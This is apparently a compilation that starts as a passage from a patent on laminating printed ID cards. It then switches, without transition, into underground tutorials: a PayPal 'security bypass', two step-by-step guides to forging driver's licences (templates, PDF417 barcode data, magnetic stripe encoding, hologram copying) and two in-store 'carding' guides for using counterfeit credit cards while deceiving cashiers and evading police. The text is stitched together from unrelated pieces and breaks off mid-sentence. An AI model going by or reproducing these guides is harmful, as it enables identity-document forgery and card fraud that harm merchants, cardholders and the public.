circular cores (6) which fit into the printer. The ribbon is situated between the print head and the blank
|
||
identification card. The printer then receives instructions from a computer that is connected to printer as
|
||
to the digital images and heating instructions to heat the print head to place such images onto the
|
||
identification card (7) (FIG. 2).
|
||
FIG. 3 shows the carrier ribbon ( and the overlaminate material (9). The overlaminate material is designed
|
||
so that it would completely cover an identification card when heat from the print head is applied to the
|
||
entire overlaminate material. The overlaminate has a laminating material coated on the exposed side
|
||
(which is face down when run through the printing process) of the laminate. When heat is applied, this
|
||
coating material bonds the lamination material and the identification card together.
|
||
FIG. 5 shows the process of laminating. The ribbon core (6) has been mounted onto the core holder (12)
|
||
and the ribbon (13) has been pulled through the print head mounting assembly (14) and is pinched
|
||
between the print head (15) and the identification card (7), which is held tightly by a pinch roller (16).
|
||
The used ribbon is re-wrapped around a take up roll (not shown). The identification card is fed into the
|
||
printer by a series of pinch rollers (17) from an input hopper (not shown). The identification card (7)
|
||
moves with the ribbon panel, and then is pulled in the reverse direction from which it was fed to have the
|
||
next panel printed upon it. Thus the card moves forward and backwards depending upon its location and
|
||
the ribbon panel location. The pinch rollers are capable of moving bi-directionally while the print head
|
||
and print head mechanism remain stationary. Once printed and laminated, the identification card is moved
|
||
from the print head area by a series of pinch rollers (18).
|
||
In FIGS. 4A through 4D, the results of the bonding can be seen. The identification card (7) has been
|
||
printed on, and the overlaminate layer (9) has been applied over the full length and width of the
|
||
identification card. FIG. 4B is a cross-section of the bonded identification card (7). The overlaminate (9)
|
||
cove's the entire width of the identification card. If the cross-section was lengthwise rather than through
|
||
the width of the card, the overlaminate would stretch the entire length of the card. The clear feature of the
|
||
overlaminate allows the printing on the card to be completely visible. The dye sublimation (10) have
|
||
sublimated into the card, remaining below the surface of the identification card (11) so that the surface is
|
||
still flat until the overlayer is applied. When and where the overlayer is applied, the card's thickness is
|
||
increased. Resin ink sits on top of the surface and also provides ridges.
|
||
The overlayer can be supplemented with an additional lamination at a separate station. Identification card
|
||
printers such as the Cheetah II or the Pro-L (available from Fargo Electronics, Inc. of Eden Prairie,
|
||
Minn.) incorporate a second lamination station for an overlaminate that is thicker and more durable than
|
||
the overlaminate layer applied at the printing station. This thicker and more durable overlaminate such as
|
||
PolyGuard sold by FARGO is on a separate roll from the YMCKO ribbon. These overlaminates are
|
||
suitable for having a holographic type image embossed therein. In FIG. 4C, the results of applying the
|
||
thicker overlaminate can be seen. The identification card (7) has the sublimated dyes or resins (10) which
|
||
have become part of the card. The overlaminate layer (9) has been laid down in a full sheet to cover the
|
||
entire card, and the thicker overlaminate layer (19) has been laminated on top of the first overlaminate to
|
||
|
||
create a sandwich effect.
|
||
In FIG. 6, the overlayer panel (9) is printed on (20), rather than being laid down as a full sheet. The
|
||
printed image can be any graphic image created on a computer FIG. 4D shows the cross-section of the
|
||
card (7) with the overlayer (20) being printed as a clear printed layer rather than as an unbroken sheet.
|
||
When the thicker overlayer (19) is applied in FIG. 4E, the effect is to create ridges on the thicker
|
||
overlaminate sheet rather than a smooth surface as was shown in FIG. 4C. When these ridges are created,
|
||
light reflects from the edges of the underlying overlaminate (20) creating a ghosting image when the card
|
||
is moved from a horizontal plane.
|
||
In some cases, application of the overlaminate is not a viable option because of the cost of the
|
||
overlaminate and the price of the printer required to laminate the card. In that case, a similar methodology
|
||
can be utilized that achieves a similar result. In FIG. 6, the overlay materials is laid down as a first pass,
|
||
with the heavier overlaminate materials being applied in the second operation, utilizing a hot roller. To
|
||
achieve a similar result, the first thin overlaminate is applied in reverse, i.e., the entire overlaminate panel
|
||
is applied except for the image. Instead of a raised surface on the card, the image is actually lower than
|
||
the overlay material on the card. The ridges that are created are inverted, sot hat the eye can still see the
|
||
image, since the image is the area where the overlay was not printed. Since there is no overlaminate
|
||
coating in this embodiment, the image can be seen, otherwise the application of the second, heavier
|
||
overlaminate would cover and fill in the nonprinted area. Since the non printed area has no protection
|
||
from UV rays, over time the image (as this is the non printed area) will appear since the dye sublimation
|
||
inks will fade from exposure to UV light.
|
||
Although the present invention has been described with reference to preferred embodiments, workers
|
||
skilled in the art will recognize that changes may be made in form and detail without departing from the
|
||
spirit and scope of the invention. For example, other types of overlaminate, over lamination techniques, or
|
||
techniques for creating ridges in an overlaminate layer can be sued when implementing the present
|
||
invention. For simplicity, a preferred species is disclosed. However, the invention includes the gnus and
|
||
the invention should not be limited to any particular species when interpreting broad steps or elements of
|
||
the invention.
|
||
How to Bypass Paypal Security Measures
|
||
This gets asked alot, I do believe this still works and hope this helps you in anyway, if this tut is
|
||
crap/useless/dont work, ill close it
|
||
Step One:
|
||
Go to your browser open http://Www.Paypal.com
|
||
Step Two: Type in the login information for your paypal account you will be using for teh bypass.
|
||
Step Three: Kay when your logged in and you get that shitty paypal security message all you do is click
|
||
""help" or "security center." They both work usually, sometimes one doesn't work and one does. If one
|
||
dont work log out and try agian
|
||
|
||
Step Four: Do not click "My account" or anything else. Only navigate to "send money" or "request
|
||
money."
|
||
Step Five
|
||
You're now in the account. Do not send money to your personal account. It will work, but it will cause
|
||
both paypals to be limited.(Like I said before this account was for show purposes only and was intended
|
||
to be limited.)
|
||
Hope it works ^^.
|
||
How To Make A Perfect Teslin ID
|
||
How To Make A Perfect Teslin ID, Tutorial #1 :
|
||
Chapter 1 - Items/Supplies Needed
|
||
Chapter 2 v Templates/Editing
|
||
Chapter 3 - Printing
|
||
Chapter 4 - Laminating
|
||
Chapter 5 - Finishing Touches
|
||
Chapter 1 - Items/Supplies Needed
|
||
Many supplies are needed in order to create a valid real looking license. Let's first begin with the basic
|
||
supplies needed. You will first you need to get an exacto knife, I prefer the ones with the rubber handles,
|
||
makes it easier on the hand when you are cutting the teslin. Scissors, a nice clean, sharp pair works
|
||
perfectly fine. The kind that your teacher never let you use in elementary school is the best one to use.
|
||
Sandpaper, will also be needed, 1000 and 1500 grit is suggested. A cutting board, this comes in handy
|
||
when you don't want to leave slice marks in on a desktop
|
||
(http://www.brainstormidsupply.com). Laminator, this one I will go into detail about. Choosing the right
|
||
laminator is very important, personally I prefer the GBC 40, which can be purchased at Office Max, for
|
||
$49.99. It's cheap but it does get the job done right, and surprisingly it keeps the id held together through
|
||
3 times washed. The preferred laminator by many id makers is anyone with a temperature control, the
|
||
better control you have over the heat, the better the lamination is going to be. A carrier, which is a guide
|
||
for the id to sit in so your rolls on the laminator don-t get messed up. A few index cards, just the size that
|
||
will fit through the laminator.
|
||
Now we move onto one of the biggest parts, PRINTERS. Printing with a HP 620C, will definitely not do
|
||
the job and your id will look like a 5 year old made it. Preferably use an Epson C80, or any Epson line. If
|
||
you don't have an Epson or can't get your hands on one, any HP 900 Series will do the job right. Teslin,
|
||
the oilpaper in which you will be printing the templates onto, can be ordered online.
|
||
|
||
http://www.brainstormidsupply.com - Recommended place to buy teslin. If you have an inkjet printer,
|
||
order inkjet teslin, and so on with laser. Believe it or not there is a difference between the two.
|
||
Hologram's, you can either order these or make them yourself. In tutorial #2, I will go into detail on how
|
||
to make precise holograms, but in this one, I suggest just ordering from a trusted site, Digital Rebellion
|
||
usually has reviews and so does #fakeid and #identification on Dalnet. Camera, a digital camera one with
|
||
at least 2.1 mega pixels, is recommended, any less and the quality decreases. Kodak makes nice cameras
|
||
to use in this instance; I personally own one and my pictures have come out perfect.
|
||
Chapter 2 v Templates/Editing
|
||
Templates, are one of the biggest parts of the id making process, shitty templates equal shitty ids. Usually
|
||
people on Digital are willing to trade or pass a quality template on to you. Making your own template is
|
||
another possibility, but it takes much skill, time and patience. Something not a lot of people obtain, so if
|
||
you-re a beginner, stick with the pre-made templates. A good template ranges from any from sizes of 50 v
|
||
90 megabytes. Now, mostly all templates come in a .PSD file, for those of you who are new, it-s an
|
||
Adobe Photoshop image. Designers do this because they can fit many layers into one file, and the layers
|
||
are editable, making it easy to re-enter information. Some knowledge of the program is needed but not
|
||
necessary, you can read their free tutorials. Photoshop itself costs in excess of $500, but it is possible to
|
||
find someone with a spare copy.
|
||
Well, now that you got your template that you want to use, we are ready to begin. First, the photo that you
|
||
will be taking needs to be at least a foot to two feet away from the person. Lighting doesn’t really matter;
|
||
just make sure it is enough to see. Take the picture on a white clear wall, this allows for easier editing of
|
||
the photo. Once, the photo has been taken, we now move onto to the editing phase of the photo. You will
|
||
need to replace the background on the picture with one of a light blue, my suggestion, is copy the blue
|
||
from the picture blue on your template. This is where the skill comes in, you have to make the photo look
|
||
believable, or otherwise, it-s going to be crap. Make sure you get rid of all white effects all around the
|
||
hair, neck, and shoulders. After replacing the background is complete, you will then need to add some
|
||
form of lighting effect to the picture to help intensify, and make it look more believable. My choice in
|
||
lighting in Photoshop, is Filter>Render>Lighting Effects. Adjust the circle around the picture, so there is
|
||
more light exposure. Switch light type to Omni Light, Intensity and Exposure levels need to be adjusted.
|
||
You decide on the levels you want to use, I personally like to use Intensity v 18, Exposure v 13. But once
|
||
again this is an option that varies from picture to picture. How the picture is taken, what kind of camera,
|
||
you get the general idea.
|
||
Next we move to the cutting stage, you will need to cut the picture from about a half an inch above the
|
||
head to right below the shoulders. Basically take a look at your real license and try and follow how that
|
||
looks. Upon cutting it you will need to resize and possibly upsize or downsize to fit the borders in which
|
||
the picture is suppose to go. This can take some time to get it perfect, but the better it looks the better it
|
||
will work. After completing the first picture on the left, we will move to the second picture on the right.
|
||
Downsize this one a lot to fit the borders, after resizing the second picture, you will need to make the
|
||
opacity 40%. This will make the picture look faded to an extent that is needed.
|
||
Editing the license should be fairly easy. Basically all you will have to do is change the information
|
||
around to fit the needs of the person in whom your making it for. The license number really doesn’t
|
||
matter, not like in Michigan or some others states where the first letter is the letter of your last name. I use
|
||
B to start the license number. Another suggestion that is very helpful and usually works for me is to go to
|
||
www.whitepages.com and search for someone with the last name that you-re making the id for. This will
|
||
give you a street address, city, and zip. It-s very helpful, when you do not know many cities in which you
|
||
are making the id for. On the bottom of the id are a bunch of numbers and letters and, those are just to tell
|
||
where the picture was taken and the id was made. Now, there are two ways to do the signature on the id,
|
||
one is to have a person sign a piece of paper, then scan it, size it down and import it into the template
|
||
(recommended way). The second way is to download a signature font, and then just type it in. In my
|
||
opinion it looks fake.
|
||
|
||
First, we must edit the back of the template of the id. Try and download a CA Barcode program, it allows
|
||
you to enter the expiration date and the drivers license number of the person and it will make you the bar
|
||
code for the back. Copy the picture to the clipboard; now import it onto the id. If you don-t have this
|
||
program or can-t find it don-t worry.
|
||
Chapter 3 v Printing
|
||
Printing is one of the most complicated parts of making the id in my opinion. Everything must be
|
||
perfectly aligned right and set up in order to create a believable looking id. You will first need to print out
|
||
a black and white copy of the id on a piece of white paper. After printing out the black and white copy,
|
||
you will then need to cut a strip of teslin to fit over the area in which you printed on. After cutting the
|
||
piece of teslin, tape the corners of the teslin down. Put the paper back in the printer and then before
|
||
printing set the DPI to the highest setting and the best quality printing. It is also recommended that you
|
||
change the paper setting to photo quality. The paper will come out, I suggest putting it in front of a fan to
|
||
let it dry quicker. Leave it there for about a minute or so. After, drying off comes a very difficult part
|
||
lining up the teslin with the print previous to it. You must be sure to exactly line up the teslin with then
|
||
picture on the paper. My suggestion is to put the paper and the teslin in front of a light and have someone
|
||
tape the corners down for you. After taping the corners put the paper back into the printer, we will now be
|
||
moving on to the back of the id. Now, print to the back of the teslin, you should be printing at the same
|
||
resolutions as was before. Pull it out of the printer and put it in front of the fan for another minute. And
|
||
now we-re ready to move to the next stage of the process.
|
||
Chapter 4 v Laminating
|
||
Laminating is one of the biggest parts too of the id process, it includes much time and patience trying to
|
||
make sure everything is aligned properly. Otherwise, you just wasted a piece of teslin and a perfectly
|
||
good hologram. Now, take your hologram and separate the top and the bottom. Take a rag and just get it a
|
||
little wet, and wipe down both the top and bottom parts of the hologram. After that set it in front of the
|
||
fan and let it dry off. After it gets dry, set the top half of the hologram on the front side of the teslin. Now
|
||
make sure it is aligned evenly and that that it-s equal distance all around the id. Now, tape three sides, the
|
||
top, bottom, and the left side. Turn on the laminator; once the ready light comes on we-re ready to begin.
|
||
After taping is complete, put the id in the carrier, then put the side that is not taped in the laminator
|
||
slightly, just enough so that it doesn’t go through but laminates the one side. Now, pull it out, remove the
|
||
tape, and run the id back through the laminator. This ensures that the id will not move from the current
|
||
position that it is in. Making your id almost perfectly done. After the front, it laminated, put it again in
|
||
front of a fan and let it cool down. Once, it is done, take it and put in on a hard surface or your cutting
|
||
board and take out the exacto knife and start cutting the teslin away. Making sure not to leave any borders
|
||
on the id. This will ensure less work later on in the process. Now, take the back part of the id, and align it
|
||
evenly, and tape three corners once again. Put, the one side that isn’t tape slightly into the laminator, once
|
||
complete, take it out. Remove all the tape and run the id back through the laminator. Now, your id is fully
|
||
laminated and we-re ready to move to the last stage.
|
||
Chapter 5 v Finishing Touches
|
||
Your probably thinking, finally, we-re here, but the work isn’t all over yet. Take out the sandpaper 1000
|
||
or 1500 grit. Now, corner off the corners better, making sure that they are smooth and there is no hard
|
||
spots. Give the edges a nice sand to making sure that when you rub your finger on the corners and edges
|
||
it feels good. After completing this, take out the 1000 or 1500 grit sandpaper, and in a circular motion
|
||
sand the front of the id. We are doing this to try to get rid of some of the gloss on the id. The less glossy
|
||
the better it will turn out. Another way is to sand a little bit on the front with 1000 or 1500 grit, then take
|
||
the id, go outside and run the shit in the dirt for a little bit, same for the back, Then take two dirty ass
|
||
cards and put your id between them in your wallet. Leave it there for a day or two. Now, after sanding,
|
||
check the corners and make sure there are no breaks in the laminate. Try to do a bend test on it, which is
|
||
|
||
taking it length wise, and bending it slightly, if anything pops, run it back through the laminator. If not,
|
||
you did a good job. But still give it a run through the laminator with lots of pressure. Put a few index
|
||
cards above and below the carrier, and give it one finally run through. And now, your ID is complete.
|
||
Congratulations!
|
||
How to make great fake ID
|
||
1. Obtain necessary supplies from one of the following websites:
|
||
http://www.arcadiaid.com
|
||
http://www.poisonid.com
|
||
http://www.idsupplystore.com
|
||
2. Find and edit the templates
|
||
Search a Peer-2-Peer network such as Kazaa, LimeWire or BitTorrent to find a template. By using Adobe
|
||
Photoshop or Macromedia Fireworks, or a free program like GIMP, you should easily be able to edit the
|
||
templates.
|
||
3. You should begin editing by changing the text fields. Most standard IDs use the font Arial that comes
|
||
with Windows but if you wish to use specialty fonts that do not come with Windows (such as a font for
|
||
signatures) you can see how to download and install them by reading this article: Install Fonts On Your
|
||
PC.
|
||
Edit the eye and hair color fields as follows:
|
||
Eye Color- Indicate eye color abbreviation:
|
||
BLK - Black
|
||
GRY - Gray
|
||
MAR - Maroon
|
||
BLU - Blue
|
||
GRN – Green
|
||
PNK - Pink
|
||
BRO – Brown
|
||
HAZ - Hazel
|
||
MUL – Multicolor
|
||
Hair Color- Indicate hair color abbreviation:
|
||
BAL – Bald
|
||
BRO – Brown
|
||
SDY - Sandy
|
||
BLK - Black
|
||
GRY - Gray
|
||
WHI - White
|
||
BLN – Blonde
|
||
RED – Red
|
||
Also, if your ID has restrictions or endorsements here are the codes. Some are rarely used but others, like
|
||
restriction code B are quite common. Here are a list of some of the more popular codes:
|
||
Restriction codes:
|
||
A - No Restriction
|
||
B - Corrective Lens
|
||
C - Mechanical Aids
|
||
D - Business Only
|
||
|
||
G - Daylight Only
|
||
H - Employer's Vehicle Only
|
||
J - Prosthetic Aid
|
||
Q - No Passengers
|
||
R - motorcycles 500 cc & under
|
||
S - to & From School
|
||
T - To & From Medical
|
||
U - all motorcycles except Class X
|
||
2 - Personal Vehicles Only
|
||
Endorsement codes are less common but include:
|
||
M - Motorcycle endorsement for any motorcycle regardless of engine displacement.
|
||
P - Passenger vehicles designed to carry 16 or more persons, including the driver.
|
||
T - Double/triple trailers allowed.
|
||
Y - Farm endorsement (Class A).
|
||
4. Then, scan in the photo and signature image files
|
||
You need to scan in a passport photo or other acceptable ID picture. Also scan in a signature. If the
|
||
background of the passport photo does not match the background of the state id, you will need to do some
|
||
editing.
|
||
5. After scanning the passport photo into the computer, the person's face will need to be separated from
|
||
the background so it flows seamlessly with your ID card template. Using a program such as Adobe
|
||
Photoshop, Macromedia Fireworks, or GIMP, provides you with an image editing tool called "Magic
|
||
Wand". This tool will allow you to click a color in the image and it will select all surrounding colors that
|
||
are similar or the same. There will be a slider that will allow you to select the amount of variance from
|
||
the color you select. The higher the variance relates to more of the image that will be selected. Once the
|
||
background is nearly fully selected without containing any of the person's face, press 'Delete' on your
|
||
keyboard to erase it. You can then magnify the image and use the eraser tool to clean up around the
|
||
person's face. At this point, zoom out and copy the image. It can be pasted onto your ID card template. It
|
||
will then flow seamlessly into your template design and you can choose any background color you want!
|
||
For more detailed instructions on how to edit facial images for use on id cards, see this article: Edit Face
|
||
Images for Use on a Fake ID.
|
||
6. Then, add a Barcode
|
||
The unusual-looking scrambled barcode on the back of most driver’s licenses is known as a PDF417
|
||
barcode. This barcode contains most of the information contained on the front of the license. By editing
|
||
this readout, you can encode your information into this barcode. You can generate these barcodes by
|
||
finding a free PDF417 Generator online. Below is the general sequence.
|
||
ANSI 6360263f02DL20393504EM02460010DLDAQ1414556
|
||
DAASMITH,JOHN,A
|
||
DABSMITH
|
||
DACJOHN
|
||
DADA
|
||
DAG423WILSON
|
||
DAIMIAMI
|
||
DAJFL
|
||
DAK044
|
||
DBB190922
|
||
DBA2480922
|
||
DAU511
|
||
DAW170
|
||
DAZBR
|
||
DAYBLU
|
||
DBC2
|
||
DBHN
|
||
DARC
|
||
DBD200684003
|
||
|
||
DASB
|
||
DBE1
|
||
DBIN
|
||
EMEMEWPFD
|
||
7. Add a Magnetic Stripe
|
||
If your license requires a magnetic stripe and you want it to be scannable, it can be encoded with an
|
||
encoder. Generally these are very expensive and are difficult to find. However, you can get the EasyIDea
|
||
Magnetic Stripe Encoder for less than $400 bucks. There are two types of magnetic stripes, HiCo and
|
||
LoCo. HiCo and LoCo magnetic differ in that HiCo are much more difficult to demagnetize. The
|
||
encoders for these typically were much more expensive than for LoCo. Most HiCo encoders encode
|
||
LoCo stripes as well. The best way to program the stripe is to decode a working driver’s license, edit the
|
||
data, and then program it back onto the stripe. Encode the magnetic stripe after the card is finished.
|
||
8. After editing is done, you can start printing
|
||
You will need to print on a synthetic paper. There are two types of synthetic paper that are nearly the
|
||
same. Teslin and Artisyn paper are single layer, silica-filled, polyolefin printing substrate with unique
|
||
microporous and temperature resistance features that make it the product of choice for laminated ID
|
||
badges. Teslin is more expensive than Artisyn and much less versatile. If you want to use a desktop inkjet
|
||
printer, you will achieve better results with Artisyn or Artisyn NanoExtreme™ synthetic paper. Printing
|
||
on Teslin with an inkjet does not work well and tends to look grainy and smear. The Artisyn and Artisyn
|
||
NanoExtreme™ are coated with chemicals to absorb the ink effectively. It is cheaper than Teslin, works
|
||
well with all types of printers including inkjet and laser printers. It also tends to produce better print
|
||
quality results. Teslin can be found at PoisonID.com and Artisyn can be found at ArcadiaID.com. Arcadia
|
||
also sells perforated sheets that punch out in the size of the ID cards.
|
||
9. The next step is to select your printer. The preferred method is to use a pigmented based inkjet printer
|
||
like an Epson printer with DuraBrite ink. This tends to produce incredible results and works well with
|
||
Teslin even though it is not a laser printer. Better results are still achieved on Artisyn paper, and for the
|
||
highest quality results Artisyn NanoExtreme™ should be used. If a pigmented ink printer is not available,
|
||
a laser printer is still a good result. Laser printers produce sharp and clear results, but the ink tends to look
|
||
waxy. Lastly, any dye-based inkjet printer will work fine. A dye-based inkjet printer is that standard color
|
||
printer that most people have in their home. Again, if you use dye-based inks make sure to use Artisyn.
|
||
You should print on highest quality photo settings.
|
||
Print on one sheet of paper, both front and back.
|
||
10. Then, the next step is cutting.
|
||
If you are using EasyIDea Microperforated Artisyn, you can skip this tedious step. Otherwise, start by
|
||
cutting out the ID from the paper. Tracing the dimensions of the ID using a butterfly pouch is generally
|
||
helpful. A paper cutter or X-Acto knife is also helpful. After cutting sheets by hand for a while, I decided
|
||
I’d rather use the punch-outs from http://www.arcadiaid.com
|
||
11. Then you will need to laminate.
|
||
You must use thermal laminating in order to bond the butterfly pouch to the synthetic paper. Once
|
||
laminated, the card will harden and resemble a PVC card. You must use a thermal (heat) pouch laminator.
|
||
Avery, Arcadia EasyIDea, or GBC makes good ones that run around $50. If you can't afford a laminator
|
||
then you can use a standard home iron. This is a little more tricky as you have to make sure the iron
|
||
doesn't get so hot that it melts the laminate plastic but is still hot enough to bond the laminate to your ID.
|
||
Also be sure the iron does not have any water loaded into it as this could damage the ink on the pre-
|
||
laminated ID and the steam could warp the ID card.
|
||
12. Next, place the insert into the butterfly pouch. You must place the card into a carrier. Run the carrier
|
||
through the laminator. Immediately following lamination, it is helpful to place the card under something
|
||
flat like a book so that it cools flat.
|
||
13. Then, apply a hologram.
|
||
Generally, it is acceptable to use a generic hologram. Very few people actually examine the hologram and
|
||
read what it says on it. I have had my fake for over two years with a generic hologram on it and I have
|
||
never had a problem. If you’re concerned about making something that looks truly authentic, there are
|
||
other methods to replicate holograms. The Shield and Key hologram is the most commonly used generic
|
||
hologram and is a transparent rainbow hologram. This means that it looks transparent when looked at
|
||
directly but when tilted to the sides the hologram lets off a rainbow spectrum. This is my generic
|
||
|
||
hologram of choice when making fakes. This type of hologram is pretty much impossible to duplicate
|
||
using the Pearl-Ex method below.
|
||
14. Making a Hologram
|
||
The gold holograms on many ID cards are called binary holograms. These holograms can be easily
|
||
reproduced using Pearl-Ex paint and Photo-EZ paper.
|
||
This product is for making stencils. A stencil is basically the outline of a picture with the negative part
|
||
missing. To make the stencil you scan the hologram off your id, then convert it to an all black image.
|
||
Next you print the image on a transparency. A transparency is a transparent sheet of plastic meant for
|
||
inkjet printers or lasers. Then you take the transparency and tape it to the Photo-EZ. You put it out in the
|
||
sun and all the areas of the material not covered by the black negative of the holo cures. When washed the
|
||
part covered by the negative washes away, leaving you with your stencil. You will want to order the high
|
||
resolution material. This product can be ordered from cBridgeand more information can be found there.
|
||
As for the painting material, the two main ones are Interference Gold (Fine) made by Golden Acrylics
|
||
and PERL-EX DUOTONE. The latter of the materials work best because of the fact it reflects two colors
|
||
of the spectrum. Perl-Ex comes as a powder and preparation is needed. These paints are transparent when
|
||
viewed from straight on. When viewed from different angles you see different colors depending on the
|
||
particular colors of the paint. Perl-Ex comes in Duo Red-Blue, Duo Blue-Green, and Duo Green-Yellow.
|
||
Perl-Ex is available in a lot of places here is one: http://www.sierra-enterprises.com/pearlex.htm
|
||
You have to buy a Transparent Base made for paints to prepare the Perl-Ex. A good one is Speedball
|
||
Transparent Base. You mix in a 1:50 ratio. 1 part Per- 50 parts base. If you are using Golden acrylics then
|
||
you use a 5:1 ratio. 5 parts paint 1 part base. When applying the paint in the stencil, you should use if
|
||
possible one of those brushes made for screen printing. It is like a pencil but with a flexible tip. A sponge
|
||
can be used but extra care needs to be taken when applying. You want to apply a very thin amount and
|
||
practice will be needed to get it right.
|
||
On a lot of the new ID's there is a multicolored hologram that reflects the full spectrum (like a rainbow).
|
||
This is especially true of most of the Canadian ids. What you do is pick the two most dominant colors and
|
||
buy the matching Perl Ex colors. This will be good enough to reproduce the holo. The holo can be put
|
||
directly on the finished ID or before lamination on the inside of the pouch. If you choice is the inside then
|
||
remember to put it in the reverse.
|
||
15. Then, you’re ready for the finishing touches.
|
||
It is recommended that you sand the edges of the hologram with a very fine grit sandpaper. This removes
|
||
the jagged edges of the synthetic paper. You should lightly sand the front and back of the id to give it a
|
||
more worn look.
|
||
16. Lastly, these instructions were to make a 30 mil drivers license that resembles a PVC card. If you
|
||
want to make something thinner that bends corner to corner like some ID cards, you can remove the front
|
||
part of the butterfly pouch and simply laminate the back of the pouch with the synthetic paper. Many
|
||
machines use this method, but it can be accomplished manually. You can also replicate signature strips by
|
||
scratching the surface of the butterfly pouch with sandpaper.
|
||
17. Have fun and don’t be an idiot with your ID.
|
||
Inshop Carding TUT
|
||
I figured it was about time all you noobs and not so new noobs got some fresh advice to help you out
|
||
there in the world of instore carding. I mean half these tut's use names I haven't seen since SC and
|
||
CP.So,here goes. All the obvious shit has been beat to death and if your too lazy to read it again. Here it is
|
||
|
||
Don't shit where you sleep--NEVER card anywhere near your hometown!
|
||
Dress the part-Look like you should be buying what your carding,,if your trying to card expensive jewelry
|
||
and your pants are sagging down around your ass the only thing your leaving that store with is a matching
|
||
set of silver braclets and a free ride to county. Like it or not your an actor now and think of your clothes
|
||
as props and dress according to where you are working.
|
||
Only use nice shiny new cards if you want the cashier to look at your ID very carefully,,a new card could
|
||
have just been stolen from a mail box. So,,,rub it a couple times with light sand paper from side to side on
|
||
the front and back to mimic looking like it's been swiped a few times.
|
||
Get a wallet with a flipout holder to put your ID in so there is never an excuse for it to leave your hands
|
||
and never carry more than 4-6 cards in a wallet at one time--just draws extra attention you don't need.
|
||
Carding-it's time to see how good an actor you are.You need to act like this is your card. Whatever
|
||
happens this is your card and you need to stay calm. So,it's time to start working on your social
|
||
engineering skills. The quickest way to get a person to drop their guard and get them to trust you is with a
|
||
good sense of humor and a smile.These cashiers see it all in the 8hrs of misery that is a normal workday
|
||
for them. So,get them smiling and laughing and that pos terminal could say you just killed someone and
|
||
the cashier could care less. In the entire time I've been doing this I manage to encode the wrong dump
|
||
onto matching plastic twice and I remember both times vividly.Firsst time the cashier still had the card in
|
||
her hand when message popped up incorrect last four. We were allready laughing about something else
|
||
and I just said "Good thing your computer waited until closing to crap out on you,,try this one and if there
|
||
is still a problem with it I can just write a check and all she said was as long as it lasted long enough for
|
||
her to ring out with in 5 min she didn't care". Second time was on a saturday morning and I had the card
|
||
still in my hand and read it off and that same error code for wrong last four popped out and all I said
|
||
was"it finally happened I drank so much last night that I forgot how to read and oh shit that was the
|
||
wrong card anyways,,no money on it" Remember guys only criminals run and these guys aren't cops they
|
||
CAN'T touch you unless you hit first,,all they can do is folllow you and call the cops.
|
||
Avoid hitting small chain stores more than one day in a row- They WILL fax out your photo to other
|
||
stores in the area if you hit them repeatedly
|
||
I don't care how many of the same chain store you've been in and they don't check last four-if your
|
||
carding in a new town and going to that same chain--use matching plastic. If they have been hit hard
|
||
before or are in a town with a high crime rate,,they will be checking and avoid the stores in ghettos-your
|
||
just asking for trouble there.
|
||
If you notice the cashier has forgot to charge you for something--point out the mistake and get them to fix
|
||
it! The last thing you want is to be wallking out the door and have the cashier come out after you,,because
|
||
they just noticed the mistake and now you can go back in and try your luck again or give it back with
|
||
possibly your finger prints on it.
|
||
Now for the not so nice shit--if you ever get pulled over by the cops and they ask to search your car you
|
||
say NO everytime they ask you say NO! They say they have you on video using a stolen card,,blah-blah.
|
||
|
||
You say NO. They can't arrest you without PROOF of a crime. And there is no way the cardholder has
|
||
been down to file a police report within the same day you were using the card.And they can't search your
|
||
property without a warrant. So, as long as there is nothing illegal on you they can arrest you for when
|
||
they pat you down or anything in their computer on you,,your going home that night and allways put shit
|
||
in your trunk,out of sight that way they can't say the so called stolen property was in plain sight,,allways
|
||
use the trunk. And don't lie to them! Remember these statements "Really?,, I don't remember that" or "if
|
||
you say so,,I don't remember" or if your a really greasy shit like me,,you pull out your lawyers business
|
||
card and tell them any questions other than those need to identify you should be asked to him.
|
||
Lastly NEVER-EVER emboss and encode the card holders real name and info on a card! I cannot stress
|
||
this fact enough! If the feds catch you with these cards it is 6 months per card-consecutive! Which means
|
||
10 cards gets you 60 months in club fed,,where if the cardholder name was fake you might have gotten
|
||
off with plea deal of time served and probation with restitution.
|
||
Good luck noobs and stay safe
|
||
Instore Carding Actions
|
||
In-Store Carding, the art of using conterfeit credit cards in order to obtain merchandise from stores. This
|
||
article is for education only and to make those gain more knowledge
|
||
--------------------------------------------------
|
||
/Instore Carding Tips, Tricks,
|
||
--------------------------------------------------
|
||
"First things first:"
|
||
as trustfunded wrote, "this is your card", this is rule number one. you must convince yourself that this is
|
||
your card. being paranoid, scared, or nervous is a perfect way to get busted and tip off a clerk or any
|
||
employee of a store. you must appear like the ordinary customer, just like you were going to buy
|
||
something legit. it is now 2006, the days of dumps working for weeks without a problem are not that
|
||
common. banks are becoming more secure and pushing new methods of fraud tracing out all the time.
|
||
this will not go into how to encode dumps or talk about where to get them. refer to the forum to find this
|
||
kind of stuff.
|
||
"security, the swipe,
|
||
when you go out to card instore it can go two ways. you can succeed or fail. if you succeed you will most
|
||
likely be outside of the store without handcuffs on and some free shit in hand. if you fail, maybe you got a
|
||
decline, call for auth, or maybe in the back of the police cruiser.
|
||
1. Keep your guard up:
|
||
personal security is the most important thing about pulling off one of these operations. be yourself, calm
|
||
voice, do not ever say the word stole/steal/stolen/jacked/hacked in the store. you never know whos
|
||
listening to you! park away from the store, walmart has cameras outside and can see your license plate.
|
||
you may think you got away, but if the bank goes after you the FBI will damn sure see that camera feed.
|
||
|
||
2. Talk:
|
||
don't be scared to talk to the clerks about products, or anything! if you are very shy then maybe you ought
|
||
to work on snapping out of it, being friendly with the clerk before the big swipe makes a huge difference.
|
||
if pick out a older lady throw a stupid question out there such as "hows your day been" or "has it been
|
||
busy? it has been so crowded everywhere during the holidays". maybe a young guy, "whats goin on man",
|
||
"i went to a party last night and was smashed im so tired". sound stupid? well i'll tell you first hand it isn't,
|
||
it WORKS.
|
||
3. Checkout:
|
||
when you first walk in, always scope out the register. see who is working, what kind of terminal it is (self
|
||
swipe, etc), just so you do not run into something you don't want to mess with, whatever you do, DON'T
|
||
stare over there because it might just make you look stupid or alert somebody because they believe you
|
||
want to rob them or something.
|
||
a. Standing in line
|
||
standing in line just sucks, it really does. don't keep looking behind you. keep your head straight, don't
|
||
laugh for no reason, and most importantly, do not look directly at a camera. talking is not necessary. a cell
|
||
phone might be handy or maybe you can take a look at the product your getting.
|
||
b. the "swipe"
|
||
this is the most important part of instore carding, the swipe. this is where it goes down. if you have to
|
||
hand the card over, go for it. as soon as the clerk swipes pull the hand out trick. put your hand over the
|
||
register acting like you want the card back and most of the time they'll give it back. if not, then ask. you
|
||
